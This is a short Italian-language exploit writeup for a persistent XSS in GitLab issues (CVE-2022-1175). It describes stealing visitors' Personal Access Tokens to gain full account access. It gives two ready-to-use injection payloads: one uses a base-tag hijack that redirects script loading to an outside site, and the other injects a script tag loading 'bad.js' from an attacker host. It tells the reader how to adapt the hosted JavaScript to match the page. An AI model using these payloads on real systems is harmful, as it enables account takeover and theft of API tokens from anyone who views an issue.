
XSS persistente di Gitlab, può essere impostato in un issue su un progetto, sia tuo che di altri utenti. Consente attacchi come la creazione e il furto di un Personal Access Token (PAT) di chiunque visiti un issue. I PAT possono quindi fornire accesso completo all'API Gitlab come quell'utente, equivalente a una completa compromissione dell'account.
Può essere sfruttato modificando la base del progetto sul tuo sito, in modo che gli script vengano caricati dal tuo sito. Modifica il javascript sul tuo sito per farlo corrispondere ai nomi degli script richiamati nella pagina. Questo però può rompere elementi nella pagina.
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
L'inclusione standard di script funziona anche a seconda della politica CSP del sito. Questa è più furtiva.
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
Gli sviluppatori di GitLab hanno opportunamente incluso l'intera stringa XSS nel codice che si può trovare qui:
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
Riferimento:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175